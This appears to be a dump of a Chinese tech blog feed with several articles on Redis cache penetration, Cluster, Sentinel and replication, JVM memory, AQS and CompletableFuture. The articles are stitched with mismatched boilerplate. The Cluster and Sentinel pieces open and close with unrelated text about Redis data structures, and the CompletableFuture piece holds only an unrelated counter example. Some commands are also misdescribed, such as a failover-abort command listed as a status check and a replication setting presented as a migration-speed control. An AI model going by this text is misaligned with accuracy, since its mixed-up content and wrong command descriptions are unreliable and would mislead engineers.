缓存空值简单有效占用空间数据量可控
布隆过滤器节省空间有误判率大数据量，初始化已知
参数校验最简单能力有限参数范围可控
限流保护系统影响正常请求高并发防御
互斥锁防并发穿透复杂度增加热点key

四、最佳实践

#

4.1 组合方案

@Service
public class UserService {
    
    @Autowired
    private RBloomFilter<String> bloomFilter;
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private UserMapper userMapper;
    @Autowired
    private RedissonClient redisson;
    
    public User getUser(Long id) {
        // 1. 参数校验
        if (id == null || id <= 0) {
            return null;
        }
        
        String key = "user:" + id;
        
        // 2. 布隆过滤器判断
        if (!bloomFilter.contains(key)) {
            return null;
        }
        
        // 3. 查询缓存
        String json = redis.opsForValue().get(key);
        if (json != null) {
            if ("null".equals(json)) {
                return null;
            }
            return JSON.parseObject(json, User.class);
        }
        
        // 4. 分布式锁防并发
        RLock lock = redisson.getLock("lock:" + key);
        try {
            if (lock.tryLock(3, 10, TimeUnit.SECONDS)) {
                // 双重检查
                json = redis.opsForValue().get(key);
                if (json != null) {
                    return "null".equals(json) ? null : JSON.parseObject(json, User.class);
                }
                
                // 5. 查询数据库
                User user = userMapper.findById(id);
                
                // 6. 缓存结果（空值也缓存）
                if (user == null) {
                    redis.opsForValue().set(key, "null", 60, TimeUnit.SECONDS);
                } else {
                    redis.opsForValue().set(key, JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
                }
                
                return user;
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        } finally {
            if (lock.isHeldByCurrentThread()) {
                lock.unlock();
            }
        }
        
        return null;
    }
}

#

4.2 空值缓存的过期策略

// 根据业务调整空值过期时间
// - 高频查询但不存在的：短过期时间（10-60秒）
// - 低频查询的：较长过期时间（5-30分钟）
// - 数据可能很快写入的：极短过期时间（1-5秒）

@Service
public class UserService {
    
    private static final long CACHE_NULL_TTL_SHORT = 10;   // 10秒
    private static final long CACHE_NULL_TTL_NORMAL = 60;  // 60秒
    private static final long CACHE_NULL_TTL_LONG = 300;   // 5分钟
    
    public User getUser(Long id) {
        // ...
        if (user == null) {
            // 根据业务判断使用哪个过期时间
            redis.opsForValue().set(key, "null", CACHE_NULL_TTL_NORMAL, TimeUnit.SECONDS);
        }
        // ...
    }
}

五、总结

缓存穿透的防御策略：

  1. 参数校验：第一道防线，拦截明显非法请求
  2. 布隆过滤器：高效判断key是否存在，节省空间
  3. 缓存空值：将不存在的查询结果也缓存
  4. 限流：防止单个key或IP的过度请求
  5. 互斥锁：防止并发查询同一不存在key

核心原则：

  • 在请求到达数据库之前尽可能拦截
  • 使用组合方案增强防御能力
  • 根据业务特点选择合适的策略
  • 持续监控缓存命中率和数据库负载

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM Redis Cluster分片集群 //redis-cluster-sharding/ Redis Cluster分片集群

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Cluster架构

#

1.1 基本架构

┌─────────┐      ┌─────────┐      ┌─────────┐
│ Master0 │<────>│ Master1 │<────>│ Master2 │
│ 0-5460  │      │ 5461-10922│     │10923-16383│
└────┬────┘      └────┬────┘      └────┬────┘
     │                │                │
  Slave0           Slave1           Slave2

#

1.2 核心特点

  • 数据分片：16384个哈希槽分配到各节点
  • 无中心架构：节点间通过Gossip协议通信
  • 自动故障转移：Slave可提升为Master
  • 客户端直连：客户端缓存槽位映射，直接访问目标节点

二、哈希槽（Hash Slot）

#

2.1 哈希槽机制

Redis Cluster将key空间分为16384个槽（0-16383）

计算key对应的槽：
slot = CRC16(key) % 16384

示例：
key "user:1001" → CRC16("user:1001") % 16384 = 8523
key "order:2001" → CRC16("order:2001") % 16384 = 1234

#

2.2 槽位分配

6节点Cluster（3主3从）：

Master A: slots 0-5460      (5461个槽)
Master B: slots 5461-10922  (5462个槽)
Master C: slots 10923-16383 (5461个槽)

Slave A 复制 Master A
Slave B 复制 Master B
Slave C 复制 Master C

#

2.3 Hash Tag

使用Hash Tag可以让相关key分配到同一槽：

key格式：{tag}:rest
只有tag部分参与计算slot

示例：
{user}:1001:profile  → 计算 {user} 的slot
{user}:1001:orders   → 同上，同一槽
{user}:1002:profile  → 不同tag，不同槽

用途：
- 保证相关数据在同一节点
- 支持跨key操作（如MGET、事务、Lua脚本）

三、节点通信

#

3.1 Gossip协议

每个节点每秒随机选择几个节点发送PING：

Node A ──PING──> Node B
                （携带自己知道的节点状态）
                
Node B ──PONG──> Node A
                （携带自己知道的节点状态）

通过多次交换，每个节点最终知道整个集群的状态

PING/PONG消息内容：

  • 发送节点的信息（id, ip, port, role, slots）
  • 发送节点知道的其他节点信息（1/10随机选择）
  • 发送节点标记为 FAIL 的节点列表

#

3.2 故障检测

Node A 发现 Node B 未响应PING
    │
    ├── 标记 Node B 为 PFAIL（疑似故障）
    │
    ├── 通过Gossip传播PFAIL信息
    │
    ├── 大多数Master节点都认为Node B是PFAIL
    │
    └── 将PFAIL升级为FAIL（确认故障）
        └── 触发故障转移

四、Cluster配置

#

4.1 节点配置

# redis.conf (每个节点)

port 6379
cluster-enabled yes
cluster-config-file nodes-6379.conf
cluster-node-timeout 5000
cluster-require-full-coverage no

# 可选：保护模式
protected-mode no

# AOF持久化（推荐）
appendonly yes

#

4.2 创建Cluster

# 1. 启动6个节点
redis-server conf/redis-6379.conf
redis-server conf/redis-6380.conf
redis-server conf/redis-6381.conf
redis-server conf/redis-6382.conf
redis-server conf/redis-6383.conf
redis-server conf/redis-6384.conf

# 2. 创建Cluster
redis-cli --cluster create \
    192.168.1.100:6379 192.168.1.100:6380 192.168.1.100:6381 \
    192.168.1.100:6382 192.168.1.100:6383 192.168.1.100:6384 \
    --cluster-replicas 1

# --cluster-replicas 1: 每个Master有1个Slave

#

4.3 查看Cluster信息

# 查看节点信息
redis-cli -p 6379 CLUSTER NODES

# 输出：
# <id> <ip:port>@<cport> <flags> <master_id> <ping_sent> <pong_recv> <epoch> <link_state> <slot>
# a1b2... 192.168.1.100:6379@16379 myself,master - 0 1625097600 1 connected 0-5460
# c3d4... 192.168.1.100:6380@16380 master - 0 1625097601 2 connected 5461-10922
# e5f6... 192.168.1.100:6381@16381 master - 0 1625097602 3 connected 10923-16383
# g7h8... 192.168.1.100:6382@16382 slave a1b2... 0 1625097603 1 connected
# ...

# 查看槽位分配
redis-cli -p 6379 CLUSTER SLOTS

# 查看当前节点信息
redis-cli -p 6379 CLUSTER INFO

五、请求路由

#

5.1 MOVED重定向

客户端发送：GET key
    │
    ├── 计算slot = CRC16(key) % 16384 = 8523
    │
    ├── 客户端缓存的映射：8523 -> Node A
    │
    └── 发送到Node A
        │
        ├── Node A发现8523槽已迁移到Node B
        │
        └── 返回：MOVED 8523 192.168.1.100:6380
            
客户端收到MOVED：
    ├── 更新缓存：8523 -> Node B
    └── 重定向到Node B

#

5.2 ASK重定向

槽正在迁移中：

源节点(Node A)              目标节点(Node B)
    │                            │
    ├── 部分数据已迁移到Node B ──>│
    │                            │
    │  客户端请求迁移中的key      │
    │ ─────────────────────────> │
    │                            │
    ├── 如果key已迁移            │
    │   └── 返回：ASK 8523 NodeB │
    │                            │
    └── 如果key未迁移            │
        └── 直接处理             │

ASK和MOVED的区别：
- MOVED：槽已永久迁移，客户端应更新映射
- ASK：槽正在迁移，只是本次请求重定向

#

5.3 Smart Client

// Jedis Cluster（Smart Client）
@Configuration
public class RedisClusterConfig {
    
    @Bean
    public JedisCluster jedisCluster() {
        Set<HostAndPort> nodes = new HashSet<>();
        nodes.add(new HostAndPort("192.168.1.100", 6379));
        nodes.add(new HostAndPort("192.168.1.100", 6380));
        nodes.add(new HostAndPort("192.168.1.100", 6381));
        nodes.add(new HostAndPort("192.168.1.100", 6382));
        nodes.add(new HostAndPort("192.168.1.100", 6383));
        nodes.add(new HostAndPort("192.168.1.100", 6384));
        
        JedisPoolConfig poolConfig = new JedisPoolConfig();
        poolConfig.setMaxTotal(100);
        
        return new JedisCluster(nodes, 5000, 5000, 3, "password", poolConfig);
    }
}

// 使用
@Autowired
private JedisCluster jedisCluster;

public void setValue(String key, String value) {
    // 客户端自动计算slot并路由到正确节点
    jedisCluster.set(key, value);
}

#

5.4 Spring Boot配置

spring:
  redis:
    cluster:
      nodes:
        - 192.168.1.100:6379
        - 192.168.1.100:6380
        - 192.168.1.100:6381
        - 192.168.1.100:6382
        - 192.168.1.100:6383
        - 192.168.1.100:6384
      max-redirects: 3
    password: password
    lettuce:
      pool:
        max-active: 100

六、扩缩容

#

6.1 添加新节点

# 1. 启动新节点
redis-server conf/redis-6385.conf

# 2. 添加为Master
redis-cli --cluster add-node 192.168.1.100:6385 192.168.1.100:6379

# 3. 分配槽位（从现有节点迁移）
redis-cli --cluster reshard 192.168.1.100:6379
# 输入要迁移的槽数：4096
# 输入目标节点ID：新节点ID
# 输入源节点ID：all（从所有节点平均迁移）

#

6.2 添加Slave

# 添加Slave到指定Master
redis-cli --cluster add-node 192.168.1.100:6386 192.168.1.100:6379 \
    --cluster-slave --cluster-master-id <master-id>

#

6.3 删除节点

# 1. 先迁移该节点的槽位到其他节点
redis-cli --cluster reshard 192.168.1.100:6379
# 将所有槽迁移走

# 2. 删除节点
redis-cli --cluster del-node 192.168.1.100:6379 <node-id>

#

6.4 槽位迁移流程

迁移slot 8523从Node A到Node B：

1. Node A设置slot 8523为MIGRATING状态
2. Node B设置slot 8523为IMPORTING状态

3. 对slot 8523中的每个key：
   a. 从Node A获取key（DUMP）
   b. 发送到Node B（RESTORE）
   c. 从Node A删除key

4. 所有key迁移完成后：
   a. 将slot 8523分配给Node B
   b. 通过Gossip传播新配置

七、故障转移

#

7.1 自动故障转移

Master A故障
    │
    ├── 其他Master通过Gossip发现A故障
    │
    ├── 标记A为FAIL（需要多数Master同意）
    │
    ├── Slave A发起选举
    │   （向其他Master请求投票）
    │
    ├── 获得多数票 → 提升为Master
    │
    ├── 接管Master A的槽位
    │
    └── 通过Gossip通知所有节点

#

7.2 手动故障转移

# 在Slave上执行，安全切换（零数据丢失）
redis-cli -p 6382 CLUSTER FAILOVER

# 强制故障转移（可能丢失少量数据）
redis-cli -p 6382 CLUSTER FAILOVER FORCE

# 强制接管（用于原Master完全不可用）
redis-cli -p 6382 CLUSTER FAILOVER TAKEOVER

八、Cluster限制

#

8.1 跨槽操作限制

# 以下命令要求所有key在同一槽：
MGET key1 key2          # 如果key1和key2在不同槽，报错
MSET key1 v1 key2 v2    # 同上
RENAME key1 key2        # 同上

# 解决方案：使用Hash Tag
MGET {user}:1001:name {user}:1001:age

#

8.2 事务和Lua脚本限制

# 事务中的key必须在同一槽
MULTI
SET {user}:1001:name "Alice"
SET {user}:1001:age 25
EXEC

# Lua脚本中的key必须在同一槽
EVAL "return redis.call('set', KEYS[1], ARGV[1])" 1 {user}:1001:name Alice

#

8.3 多key操作限制

// 使用Hash Tag确保相关key在同一槽
String userTag = "{user:1001}";
redis.mset(
    userTag + ":name", "Alice",
    userTag + ":age", "25"
);

九、常见问题

#

9.1 CLUSTERDOWN错误

# 如果配置cluster-require-full-coverage yes
# 当部分槽不可用时，返回CLUSTERDOWN

# 解决：
redis-cli CONFIG SET cluster-require-full-coverage no

# 或恢复故障节点

#

9.2 脑裂问题

# 配置最小Slave数，防止脑裂
min-replicas-to-write 1
min-replicas-max-lag 10

#

9.3 大数据量迁移慢

# 控制迁移速度
redis-cli CONFIG SET cluster-migration-barrier 1

# 使用pipeline加速迁移
redis-cli --cluster reshard --pipeline 100 ...

十、总结

特性说明
哈希槽16384个槽，CRC16(key) % 16384
数据分片槽分配到各Master节点
通信协议Gossip，去中心化
故障检测PFAIL → FAIL，多数同意
故障转移Slave选举，自动提升
客户端Smart Client，缓存槽映射
扩缩容槽迁移，在线进行
场景方案
数据量 < 10GB单实例或Sentinel
数据量 > 10GBCluster
需要水平扩展Cluster
多key操作多使用Hash Tag或Sentinel

Redis Cluster是Redis水平扩展的标准方案，适合大数据量和高并发场景。但需要注意跨槽操作的限制，合理设计key的Hash Tag。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis 架构 Redis 缓存 AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 Redis哨兵Sentinel高可用 //redis-sentinel-high-availability/ Redis哨兵Sentinel高可用

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Sentinel架构

#

1.1 基本架构

┌─────────┐    ┌─────────┐    ┌─────────┐
│Sentinel1│───>│Sentinel2│───>│Sentinel3│
│  :26379 │    │  :26379 │    │  :26379 │
└────┬────┘    └────┬────┘    └────┬────┘
     │              │              │
     └──────────────┼──────────────┘
                    │
              ┌─────┴─────┐
              ▼           ▼
         ┌─────────┐  ┌─────────┐
         │  Master │  │  Slave  │
         │  :6379  │  │  :6379  │
         └─────────┘  └─────────┘

#

1.2 Sentinel的作用

  1. 监控：持续检查Master和Slave是否正常运行
  2. 通知：通过API向管理员或其他应用发送通知
  3. 自动故障转移：Master故障时，自动将Slave提升为Master
  4. 配置提供者：为客户端提供当前Master地址

二、Sentinel配置

#

2.1 Sentinel节点配置

# sentinel.conf

# 端口
port 26379

# Sentinel工作目录
dir /var/lib/redis/sentinel

# 监控的Master
# sentinel monitor <master-name> <ip> <port> <quorum>
sentinel monitor mymaster 192.168.1.100 6379 2

# quorum: 判断Master失效需要多少个Sentinel同意
# 如quorum=2，至少2个Sentinel认为Master下线才进行故障转移

# Master密码（如果Master有密码）
sentinel auth-pass mymaster password

# 判断Master下线的时间（毫秒）
sentinel down-after-milliseconds mymaster 5000

# 并行同步的Slave数量
sentinel parallel-syncs mymaster 1

# 故障转移超时时间
sentinel failover-timeout mymaster 60000

# 通知脚本（可选）
sentinel notification-script mymaster /var/redis/notify.sh

# 故障转移后执行的脚本（可选）
sentinel client-reconfig-script mymaster /var/redis/failover.sh

#

2.2 启动Sentinel

# 方式一
redis-sentinel /etc/redis/sentinel.conf

# 方式二
redis-server /etc/redis/sentinel.conf --sentinel

#

2.3 最少Sentinel数量

推荐至少3个Sentinel：

  • 1个：无法判断客观下线（自己说自己）
  • 2个：如果网络分区，可能出现脑裂
  • 3个：quorum=2，可以安全地进行故障转移

三、故障检测机制

#

3.1 主观下线（SDOWN）

每个Sentinel独立判断：

Sentinel1 ──PING──> Master
    │
    ├── 回复+PONG → 正常
    ├── 回复-LOADING → 正常（正在加载）
    ├── 回复-MASTERDOWN → 正常（Master知晓故障）
    └── 未回复/回复错误 → 主观下线

判断条件：
- 超过down-after-milliseconds未收到有效回复

#

3.2 客观下线（ODOWN）

Sentinel1发现Master主观下线
    │
    ├── 向其他Sentinel发送：
    │   SENTINEL is-master-down-by-addr <ip> <port> <current_epoch> <runid>
    │
    ├── Sentinel2回复：1（同意）
    ├── Sentinel3回复：1（同意）
    │
    └── 同意数 >= quorum → 客观下线

注意：
- 需要包括Sentinel自己
- 如quorum=2，需要Sentinel自己+另一个Sentinel同意

#

3.3 检测命令

# Sentinel之间通过以下命令通信：

# 1. PING：检测节点存活
PING

# 2. SENTINEL命令：交换信息
SENTINEL is-master-down-by-addr 192.168.1.100 6379 0 *

# 3. PUBLISH/SUBSCRIBE：通过__sentinel__:hello频道
# 每个Sentinel定期发布自己的信息和Master状态

四、故障转移流程

#

4.1 选举Leader Sentinel

Sentinel发现Master客观下线
    │
    ├── 发送SENTINEL is-master-down-by-addr请求
    │   （带上自己的runid，请求成为Leader）
    │
    ├── 其他Sentinel回复：
    │   如果当前epoch更大 → 拒绝
    │   如果已投票给其他Sentinel → 拒绝
    │   否则 → 同意
    │
    └── 获得多数票（> Sentinel总数/2）→ 成为Leader

示例：3个Sentinel
- Sentinel1请求成为Leader
- Sentinel2同意
- Sentinel3同意
- Sentinel1获得2票（> 3/2 = 1.5），成为Leader

#

4.2 选择新Master

Leader Sentinel选择新Master：

1. 筛选条件：
   - Slave必须在线
   - Slave的down-after-milliseconds内有过回复
   
2. 排序规则（优先级从高到低）：
   a. replica-priority最小（配置值）
   b. 复制偏移量最大（数据最新）
   c. RunID最小（字典序）

#

4.3 执行故障转移

1. 对新Master执行：SLAVEOF NO ONE
   → 提升为Master

2. 对其他Slave执行：SLAVEOF new_master_ip port
   → 重新指向新Master

3. 更新Sentinel配置
   → 修改sentinel monitor指向新Master

4. 通知客户端（通过Pub/Sub）
   +switch-master mymaster old_ip old_port new_ip new_port

#

4.4 故障转移示例

初始状态：
Master: 192.168.1.100:6379
Slave:  192.168.1.101:6379
Slave:  192.168.1.102:6379

Master宕机
    │
    ├── Sentinel检测到客观下线
    │
    ├── 选举Leader Sentinel
    │
    ├── 选择192.168.1.101为新Master
    │   （因为复制偏移量最大）
    │
    ├── 对192.168.1.101：SLAVEOF NO ONE
    │
    ├── 对192.168.1.102：SLAVEOF 192.168.1.101 6379
    │
    └── 通知客户端切换

最终状态：
Master: 192.168.1.101:6379
Slave:  192.168.1.102:6379

五、客户端连接

#

5.1 Jedis Sentinel

@Configuration
public class RedisSentinelConfig {
    
    @Bean
    public JedisSentinelPool jedisSentinelPool() {
        Set<String> sentinels = new HashSet<>();
        sentinels.add("192.168.1.100:26379");
        sentinels.add("192.168.1.101:26379");
        sentinels.add("192.168.1.102:26379");
        
        JedisPoolConfig poolConfig = new JedisPoolConfig();
        poolConfig.setMaxTotal(100);
        poolConfig.setMaxIdle(20);
        
        return new JedisSentinelPool("mymaster", sentinels, poolConfig, "password");
    }
}

// 使用
@Autowired
private JedisSentinelPool pool;

public void setValue(String key, String value) {
    try (Jedis jedis = pool.getResource()) {
        jedis.set(key, value);
    }
}

#

5.2 Lettuce Sentinel

@Configuration
public class RedisConfig {
    
    @Bean
    public RedisConnectionFactory redisConnectionFactory() {
        RedisSentinelConfiguration sentinelConfig = 
            new RedisSentinelConfiguration()
                .master("mymaster")
                .sentinel("192.168.1.100", 26379)
                .sentinel("192.168.1.101", 26379)
                .sentinel("192.168.1.102", 26379);
        
        sentinelConfig.setPassword("password");
        
        return new LettuceConnectionFactory(sentinelConfig);
    }
}

#

5.3 Spring Boot配置

spring:
  redis:
    sentinel:
      master: mymaster
      nodes:
        - 192.168.1.100:26379
        - 192.168.1.101:26379
        - 192.168.1.102:26379
    password: password
    lettuce:
      pool:
        max-active: 100
        max-idle: 20
        min-idle: 5

六、Sentinel管理命令

#

6.1 查看状态

# 查看Sentinel监控的Master
redis-cli -p 26379 SENTINEL masters

# 查看特定Master的Slave
redis-cli -p 26379 SENTINEL slaves mymaster

# 查看Sentinel节点
redis-cli -p 26379 SENTINEL sentinels mymaster

# 查看Master地址
redis-cli -p 26379 SENTINEL get-master-addr-by-name mymaster

# 检查故障转移状态
redis-cli -p 26379 SENTINEL failover-abort mymaster

#

6.2 手动故障转移

# 手动触发故障转移（用于维护）
redis-cli -p 26379 SENTINEL failover mymaster

# 移除Master监控
redis-cli -p 26379 SENTINEL remove mymaster

# 添加Master监控
redis-cli -p 26379 SENTINEL monitor mymaster 192.168.1.100 6379 2

七、常见问题

#

7.1 脑裂问题

现象：网络分区导致出现两个Master

网络分区前：
  Sentinel1 ── Sentinel2 ── Sentinel3
       │           │           │
    Master ───── Slave1 ──── Slave2

网络分区后：
  分区A:              分区B:
  Sentinel1          Sentinel2 ── Sentinel3
       │                  │           │
    Master             Slave1 ───── Slave2
  (继续服务)           (提升为Master)

结果：两个Master同时服务，数据不一致！

解决：

# 配置最小Slave数
min-replicas-to-write 1
min-replicas-max-lag 10

# 这样Master如果没有Slave连接，会停止写入

#

7.2 故障转移后客户端连接失败

原因：

  • 客户端缓存了旧的Master地址
  • Sentinel通知有延迟

解决：

// 使用Sentinel模式的客户端库
// 客户端自动从Sentinel获取最新Master地址

// Jedis Sentinel会自动处理
// Lettuce Sentinel会自动处理

#

7.3 故障转移频繁触发

排查：

# 查看Sentinel日志
tail -f /var/log/redis/sentinel.log

# 查看Master状态
redis-cli -p 26379 SENTINEL master mymaster

# 常见原因：
# 1. down-after-milliseconds设置过小
# 2. 网络不稳定
# 3. Master负载高，响应慢

#

7.4 Sentinel配置不生效

# Sentinel配置通过SENTINEL SET动态修改后，会自动保存到配置文件
# 但需要确保配置文件可写

# 检查配置文件权限
ls -la /etc/redis/sentinel.conf

# 手动刷新配置
redis-cli -p 26379 SENTINEL flush-config

八、Sentinel监控

#

8.1 监控脚本

#!/bin/bash
# check_sentinel.sh

for sentinel in sentinel1 sentinel2 sentinel3; do
    status=$(redis-cli -h $sentinel -p 26379 PING)
    if [ "$status" != "PONG" ]; then
        echo "Sentinel $sentinel 异常" | mail -s "Sentinel告警" admin@company.com
    fi
done

# 检查Master状态
master_info=$(redis-cli -h sentinel1 -p 26379 SENTINEL master mymaster)
flags=$(echo "$master_info" | grep "flags" | head -1)

if echo "$flags" | grep -q "down"; then
    echo "Master mymaster 状态异常: $flags" | mail -s "Redis Master告警" admin@company.com
fi

#

8.2 Prometheus监控

# 使用redis_exporter监控
scrape_configs:
  - job_name: 'redis-sentinel'
    static_configs:
      - targets: ['sentinel1:26379', 'sentinel2:26379', 'sentinel3:26379']

九、总结

概念说明
SDOWN主观下线，单个Sentinel的判断
ODOWN客观下线，多个Sentinel达成共识
quorum判断ODOWN所需的最小同意数
epoch配置纪元，用于Leader选举和配置版本
Leader选举Raft算法变种，获得多数票的Sentinel成为Leader
配置项推荐值说明
quorumSentinel数/2 + 1确保多数同意
down-after-milliseconds5000根据网络质量调整
parallel-syncs1-3同时同步的Slave数
failover-timeout60000故障转移超时

Sentinel的核心价值：

  1. 自动故障检测（主观下线→客观下线）
  2. 自动故障转移（选举→切换→通知）
  3. 客户端透明（自动获取最新Master）
  4. 多Sentinel保证决策可靠性

Sentinel的局限：

  1. 只有一个Master写（不能水平扩展写）
  2. 需要至少3个Sentinel保证可靠性
  3. 脑裂问题需要额外配置解决
  4. 故障转移期间有短暂不可用

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 Redis主从复制原理 //redis-master-slave-replication/ Redis主从复制原理

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、复制架构

#

1.1 基本架构

┌─────────┐      复制      ┌─────────┐
│  Master │  ──────────>  │  Slave  │
│  (读写)  │               │  (只读)  │
└─────────┘               └─────────┘

#

1.2 一主多从

         ┌──────────> ┌─────────┐
┌────────┐            │ Slave 1 │
│ Master │ ──────────>├─────────┤
└────────┘            │ Slave 2 │
         └──────────> │ Slave 3 │
                      └─────────┘

#

1.3 级联复制

Master ──> Slave1 ──> Slave2
  │
  └────> Slave3

二、复制流程

#

2.1 全量同步（Full Resynchronization）

Slave                    Master
  │                         │
  │  1. 连接Master          │
  │ ──────────────────────> │
  │                         │
  │  2. 发送PSYNC命令       │
  │ ──────────────────────> │
  │                         │
  │  3. 返回+FULLRESYNC     │
  │ <────────────────────── │
  │     runid               │
  │     offset              │
  │                         │
  │  4. 发送RDB文件         │
  │ <────────────────────── │
  │                         │
  │  5. 加载RDB             │
  │                         │
  │  6. 接收后续写命令      │
  │ <────────────────────── │
  │    （复制积压缓冲区）    │

详细步骤：

  1. Slave连接Master

    # Slave配置
    replicaof 192.168.1.100 6379

  2. 发送PSYNC命令

    PSYNC <runid> <offset>

    首次复制：
    PSYNC ? -1

    断线重连：
    PSYNC <master_runid> <slave_offset>

  3. Master响应

  • 如果runid匹配且offset在复制积压缓冲区内：返回+CONTINUE（部分重同步）
  • 否则：返回+FULLRESYNC <runid> <offset>（全量同步）

  1. Master生成并发送RDB

    Master执行BGSAVE → 生成RDB文件 → 发送给Slave

  2. Slave加载RDB

    Slave清空内存 → 加载RDB文件 → 数据与Master一致

  3. 同步后续写命令

    Master将RDB生成后的写命令写入复制积压缓冲区
    Slave接收并执行这些命令

#

2.2 增量同步（Partial Resynchronization）

Slave                    Master
  │                         │
  │  网络断开               │
  │  XXXXXXXXXXXXXXXXXXXXX  │
  │                         │
  │  网络恢复               │
  │                         │
  │  发送PSYNC runid offset │
  │ ──────────────────────> │
  │                         │
  │  3. 返回+CONTINUE       │
  │ <────────────────────── │
  │                         │
  │  4. 发送缺失的命令      │
  │ <────────────────────── │

触发条件：

  • Slave之前同步过该Master（runid匹配）
  • Slave的offset在Master的复制积压缓冲区内

三、核心机制

#

3.1 复制积压缓冲区（Replication Backlog）

Master维护一个固定大小的FIFO队列：

┌─────────────────────────────────────────────────────────────┐
│ 复制积压缓冲区（默认1MB）                                      │
│                                                             │
